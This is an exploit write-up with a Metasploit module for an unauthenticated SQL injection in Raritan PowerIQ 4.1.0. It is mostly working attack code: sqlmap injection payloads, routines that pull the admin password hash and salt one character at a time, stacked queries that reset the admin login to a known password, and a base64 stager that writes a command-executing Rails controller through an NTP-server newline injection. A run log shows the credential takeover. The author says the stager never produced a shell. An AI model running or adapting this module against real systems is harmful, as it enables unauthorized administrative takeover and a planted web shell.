Raritan PowerIQ 4.1.0 – SQL Injection (Metasploit)
=begin Raritan PowerIQ suffers from an unauthenticated SQL injection vulnerability within an endpoint used during initial configuration of the licensing for the product. This endpoint is still available after the appliance has been fully configured. POST /license/records HTTP/1.1 Host: 192.168.1.11 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:26.0) Gecko/20100101 Firefox/26.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate X-Requested-With: XMLHttpRequest Content-Type: application/x-www-form-urlencoded; charset=UTF-8 Referer: https://192.168.1.11/license Content-Length: 15 Connection: keep-alive Pragma: no-cache Cache-Control: no-cache sort=id&dir=ASC Both the 'sort' and 'dir' parameters are vulnerable. sqlmap identified the following injection points with a total of 1173 HTTP(s) requests: --- Place: POST Parameter: sort Type: boolean-based blind Title: Generic boolean-based blind - GROUP BY and ORDER BY clauses Payload: sort=id,(SELECT (CASE WHEN (6357=6357) THEN 1 ELSE 1/(SELECT 0) END))&dir=ASC Type: stacked queries Title: PostgreSQL > 8.1 stacked queries Payload: sort=id; SELECT PG_SLEEP(5)--&dir=ASC Type: AND/OR time-based blind Title: PostgreSQL > 8.1 time-based blind - Parameter replace Payload: sort=(SELECT 5480 FROM PG_SLEEP(5))&dir=ASC Place: POST Parameter: dir Type: boolean-based blind Title: Generic boolean-based blind - GROUP BY and ORDER BY clauses Payload: sort=id&dir=ASC,(SELECT (CASE WHEN (5274=5274) THEN 1 ELSE 1/(SELECT 0) END)) Type: stacked queries Title: PostgreSQL > 8.1 stacked queries Payload: sort=id&dir=ASC; SELECT PG_SLEEP(5)-- Type: AND/OR time-based blind Title: PostgreSQL > 8.1 time-based blind - GROUP BY and ORDER BY clauses Payload: sort=id&dir=ASC,(SELECT (CASE WHEN (1501=1501) THEN (SELECT 1501 FROM PG_SLEEP(5)) ELSE 1/(SELECT 0) END)) --- There may also be a remote command execution vulnerability available to administrators (or you if you use the stacked injection to update the hashes). When saving an NTP server, you can inject a newline (%0a) into the request in order to save a malformed 'server' stanza in the ntp.conf. When syncing with NTP, the application passes the first NTP server to the NTP utility via bash. I was not able to make my malformed NTP server available as the first in the list, thus was not able to achieve RCE. There may be a way to do it though that I am unaware of. Attached is a Metasploit module that I began writing when attempting to achieve RCE but was never able to. This module will A) Pull out the current password hash and salt for the 'admin' user and cache them. B) Update the admin creeds to be 'admin:Passw0rd!' C) Set up the malformed NTP server D) Attempt to sync with NTP. Because I was not able to achieve RCE via that vector, this module does not actually pop a shell, so I am sorry about that. Maybe some PostgreSQL UDF fanciness will be the key. You may also find the module available here: https://gist.github.com/brandonprry/01bcd9ec7b8a78ccfc42 Quick module run: bperry@w00den-pickle:~/tools/msf_dev$ ./msfconsole _ _ / \ /\ __ _ __ /_/ __ | |\ / | _____ \ \ ___ _____ | | / \ _ \ \ | | \/| | | ___\ |- -| /\ / __\ | -__/ | || | || | |- -| |_| | | | _|__ | |_ / -\ __\ \ | | | | \__/| | | |_ |/ |____/ \___\/ /\ \\___/ \/ \__| |_\ \___\ =[ metasploit v4.9.0-dev [core:4.9 api:1.0] ] + -- --=[ 1292 exploits - 702 auxiliary - 202 post ] + -- --=[ 332 payloads - 33 encoders - 8 nops ] msf > use exploit/linux/http/raritan_poweriq_sqli msf exploit(raritan_poweriq_sqli) > set RHOST 192.168.1.25 RHOST => 192.168.1.25 msf exploit(raritan_poweriq_sqli) > check [*] Attempting to get banner... This could take several minutes to fingerprint depending on network speed. [*] Looks like the length of the banner is: 107 [+] Looks like you are vulnerable. [+] 192.168.1.25:443 - The target is vulnerable. msf exploit(raritan_poweriq_sqli) > exploit [*] Started reverse handler on 192.168.1.31:4444 [*] Checking if vulnerable before attempting exploit. [*] Attempting to get banner... This could take several minutes to fingerprint depending on network speed. [*] Looks like the length of the banner is: 107 [+] Looks like you are vulnerable. [*] We are vulnerable. Exploiting. [*] Caching current admin user's password hash and salt. [*] I can set it back later and they will be none the wiser [*] Grabbing current hash [*] Old hash: 84c420e40496930e27301b10930e5966638e0b21 [*] Grabbing current salt [*] Old salt: 8f3cceddf302b3e2465d6e856e8818c6217d4d04 [*] Resetting admin user credentials to admin:Passw0rd! [*] Authenticating with admin:Passw0rd! [*] Setting some stuff up [*] Sending stager [*] Triggering stager [*] Exploit completed, but no session was created. msf exploit(raritan_poweriq_sqli) > -- http://volatile-minds.blogspot.com -- blog http://www.volatileminds.net -- website =end ## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient def initialize(info={}) super(update_info(info, 'Name' => "Raritan PowerIQ Unauthenticated SQL Injection", 'Description' => %q{ This module will exploit an unauthenticated SQL injection in order to gain a shell on the remote victim. This was tested against PowerIQ v4.1.0. The 'check' command will attempt to pull the banner of the DBMS (PGSQL) in order to verify exploitability via boolean injections. In order to gain remote command execution, multiple vulnerabilities are used. I use a SQL injection to gain administrative access. I use a newline injection to save an NTP server I shouldn't be able to save. By saving this unsanitized NTP server, I can execute commands as 'nginx' with a request to the server's web application. You can find a trial ISO at the following link. CentOS-based with PGSQL. This is what this module was tested against. http://cdn.raritan.com/download/power-iq/v4.1.0/power-iq-v4.1.0.73.iso Trial license: http://d3b2us605ptvk2.cloudfront.net/download/power-iq/RAR_PWIQ5FL_W7rYAAT_13JAN10_1206.lic If for some reason these links do not work, I "registered" for the trial here: https://www1.raritan.com/poweriqdownload.html }, 'License' => MSF_LICENSE, 'Author' => [ ], 'References' => [ ], 'DefaultOptions' => { 'SSL' => true, }, 'Platform' => 'unix', 'Arch' => ARCH_CMD, 'Payload' => { 'BadChars' => "\x20", 'Compat' => { 'RequiredCmd' => 'generic perl python', } }, 'Targets' => [ ['Raritan PowerIQ v4.1.0', {}] ], 'Privileged' => false, 'DisclosureDate' => "", 'DefaultTarget' => 0)) register_options( [ Opt::RPORT(443), OptString.new('TARGETURI', [true, 'The URI of the vulnerable instance', '/']) ], self.class) end #In order to check for exploitability, I will enumerate the banner #of the DBMS until I have it match a regular expression of /postgresql/i # #This isn't optimal (takes a few minutes), but it is reliable. I use #a boolean injection to enumerate the banner a byte at a time. def check #First we make a request that we know should return a 200 res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'license', 'records'), 'method' => 'POST', 'headers' => { 'X-Requested-With' => 'XMLHttpRequest' }, 'data' => 'sort=id&dir=ASC' }) if !res or res.code != 200 return Exploit::CheckCode::Safe end #Now we make a request that we know should return a 500 res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'license', 'records'), 'method' => 'POST', 'headers' => { 'X-Requested-With' => 'XMLHttpRequest' }, 'data' => "sort=id'&dir=ASC" }) if !res or res.code != 500 print_error("Probably not vulnerable.") return Exploit::CheckCode::Safe end #If we have made it this far, we believe we are exploitable, #but now we must prove it. Get the length of the banner before #attempting to enumerate the banner. I assume the length #is not greater than 999 characters. print_status("Attempting to get banner... This could take several minutes to fingerprint depending on network speed.") length = '' (1..3).each do |l| (47..57).each do |i| str = "sort=id,(SELECT (CASE WHEN (ASCII(SUBSTRING((COALESCE(CAST(LENGTH(VERSION()) AS CHARACTER(10000)),(CHR(32))))::text FROM #{l} FOR 1))>#{i}) THEN 1 ELSE 1/(SELECT 0) END))&dir=ASC" res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'license', 'records'), 'method' => 'POST', 'headers' => { 'X-Requested-With' => 'XMLHttpRequest' }, 'data' => str }) if res and res.code == 500 length << i.chr break end end end if length == '' return Exploit::CheckCode::Safe end print_status("Looks like the length of the banner is: " + length) #We have the length, now let's get the banner until it matches #the regular expression /postgresql/i banner = '' (1..length.to_i).each do |c| (32..126).each do |b| str = "sort=id,(SELECT (CASE WHEN (ASCII(SUBSTRING((COALESCE(CAST(VERSION() AS CHARACTER(10000)),(CHR(32))))::text FROM #{c} FOR 1))>#{b}) THEN 1 ELSE 1/(SELECT 0) END))&dir=ASC" res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'license', 'records'), 'method' => 'POST', 'headers' => { 'X-Requested-With' => 'XMLHttpRequest', }, 'data' => str }) if res and res.code == 500 banner << b.chr if c%10 == 0 vprint_status("#{((c.to_f/length.to_f)*100).to_s}% done: " + banner) end if banner =~ /postgresql/i print_good("Looks like you are vulnerable.") vprint_good("Current banner: " + banner) return Exploit::CheckCode::Vulnerable end break end end end #If we reach here, we never matched our regex, which means we must #not be vulnerable. return Exploit::CheckCode::Safe end def exploit print_status("Checking if vulnerable before attempting exploit.") if check == Exploit::CheckCode::Vulnerable print_status("We are vulnerable. Exploiting.") print_status("Caching current admin user's password hash and salt.") print_status("I can set it back later and they will be none the wiser") print_status("Grabbing current hash") old_crypted_password = get_admin_column_value("crypted_password") print_status("Old hash: " + old_crypted_password) print_status("Grabbing current salt") old_salt = get_admin_column_value("salt") print_status("Old salt: " + old_salt) print_status("Resetting admin user credentials to admin:Passw0rd!") headers = { 'X-Requested-With' => 'XMLHttpRequest' } salt_inj = ';UPDATE users set salt = (CHR(56)||CHR(102)||CHR(51)||CHR(99)||CHR(99)||CHR(101)||CHR(100)||CHR(100)||CHR(102)||CHR(51)||CHR(48)||CHR(50)||CHR(98)||CHR(51)||CHR(101)||CHR(50)||CHR(52)||CHR(54)||CHR(53)||CHR(100)||CHR(54)||CHR(101)||CHR(56)||CHR(53)||CHR(54)||CHR(101)||CHR(56)||CHR(56)||CHR(49)||CHR(56)||CHR(99)||CHR(54)||CHR(50)||CHR(49)||CHR(55)||CHR(100)||CHR(52)||CHR(100)||CHR(48)||CHR(52)) WHERE login = (CHR(97)||CHR(100)||CHR(109)||CHR(105)||CHR(110))--' hash_inj = ';UPDATE users set crypted_password=(CHR(56)||CHR(52)||CHR(99)||CHR(52)||CHR(50)||CHR(48)||CHR(101)||CHR(52)||CHR(48)||CHR(52)||CHR(57)||CHR(54)||CHR(57)||CHR(51)||CHR(48)||CHR(101)||CHR(50)||CHR(55)||CHR(51)||CHR(48)||CHR(49)||CHR(98)||CHR(49)||CHR(48)||CHR(57)||CHR(51)||CHR(48)||CHR(101)||CHR(53)||CHR(57)||CHR(54)||CHR(54)||CHR(54)||CHR(51)||CHR(56)||CHR(101)||CHR(48)||CHR(98)||CHR(50)||CHR(49)) WHERE login = (CHR(97)||CHR(100)||CHR(109)||CHR(105)||CHR(110))--' post = { 'sort' => 'id' + salt_inj, 'dir' => 'ASC' } res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'license', 'records'), 'method' => 'POST', 'headers' => headers, 'vars_post' => post }) if !res or res.code != 200 fail_with("Server did not respond in an expected way") end post['sort'] = 'id' + hash_inj res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'license', 'records'), 'method' => 'POST', 'headers' => headers, 'vars_post' => post }) if !res or res.code != 200 fail_with("Server did not respond in an expected way") end print_status("Authenticating with admin:Passw0rd!") post = { 'login' => 'admin', 'password' => 'Passw0rd!' } res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'login', 'login'), 'method' => 'POST', 'vars_post' => post }) if !res or res.code != 302 fail_with("Authentication failed.") end cookie = res.get_cookies print_status("Setting some stuff up") res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'admin', 'time_servers.json'), 'headers' => headers, 'cookie' => cookie }) if !res or res.code != 200 fail_with("Server did not respond in an expected way.") end servers = JSON.parse(res.body) post = { '_method' => '_delete', 'hosts' => servers["servers"].to_json } res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'admin', 'time_servers', 'destroy_batch'), 'method' => 'DELETE', 'vars_post' => post, 'headers' => headers, 'cookie' => cookie }) if !res or res.code != 200 fail_with("Server did not respond in an expected way.") end print_status("Sending stager") stage = '`echo${IFS}Ye2xhc3MgRmRzYUNvbnRyb2xsZXIgPCBBY3Rpb25Db250cm9sbGVyOjpCYXNlCiAgZGVmIGluZGV4' stage << 'CiAgICByZXQgPSBgI3twYXJhbXNbOmNtZF19YAogICAgcmVkaXJlY3RfdG8gcmV0CiAgZW5kCmVu' stage << 'ZCAKIAoK|base64${IFS}--decode>/opt/raritan/polaris/rails/main/app/controllers/rewq_controller.rb`' post = { 'host[server]' => "www.abc.com\x0aserver " + stage, 'host[ip_type]' => '0' } res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'admin', 'time_servers'), 'method' => 'POST', 'vars_post' => post, 'headers' => headers, 'cookie' => cookie }) if !res or res.code != 200 or res.body =~ /false/ fail_with("Server did not respond in an expected way.") end post = { '_method' => '_delete', 'hosts' => '[{"server":"www.abc.com", "ip_type":0}]' } res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'admin', 'time_servers', 'destroy_batch'), 'method' => 'DELETE', 'vars_post' => post, 'headers' => headers, 'cookie' => cookie }) if !res or res.code != 200 fail_with("Server did not respond in an expected way.") end res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'admin', 'application_settings', 'edit'), 'cookie' => cookie }) if !res or res.code != 200 fail_with("Server did not respond in an expected way.") end res.body =~ /boxLabel: "Enable NTP",\n checked: (true|false),\n listeners/m checked = $1 if checked == "true" post = { '_method' => 'put', 'rails_options[time_zone]' => 'UTC', 'date_time' => '', 'rails_options[ntp_enabled]' => 'off' } res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'admin', 'time_setting'), 'vars_post' => post, 'method' => 'POST', 'cookie' => cookie }) if !res or res.code != 302 fail_with("Server did not respond in an expected way") end end post = { '_method' => 'put', 'rails_options[time_zone]' => 'UTC', 'date_time' => '', 'rails_options[ntp_enabled]' => 'on' } print_status("Triggering stager") res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'admin', 'time_setting'), 'method' => 'POST', 'vars_post' => post, 'cookie' => cookie, }) end end def get_admin_column_value(column) ret = '' (1..40).each do |i| [*('0'..'9'),*('a'..'f')].each do |c| inj = "(SELECT (CASE WHEN (ASCII(SUBSTRING((SELECT COALESCE(CAST(#{column} AS CHARACTER(10000)),(CHR(32))) FROM users WHERE login = (CHR(97)||CHR(100)||CHR(109)||CHR(105)||CHR(110)) OFFSET 0 LIMIT 1)::text FROM #{i} FOR 1))>#{c.ord}) THEN 1 ELSE 1/(SELECT 0) END))" post = { 'sort' => 'id,' + inj, 'dir' => 'ASC' } res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'license', 'records'), 'method' => 'POST', 'headers' => { 'X-Requested-With' => 'XMLHttpRequest' }, 'vars_post' => post }) if !res fail_with("Server did not respond in an expected way") end if res.code == 500 vprint_status("Got character '"+c+"' for index " + i.to_s) ret << c break end end end return ret end end |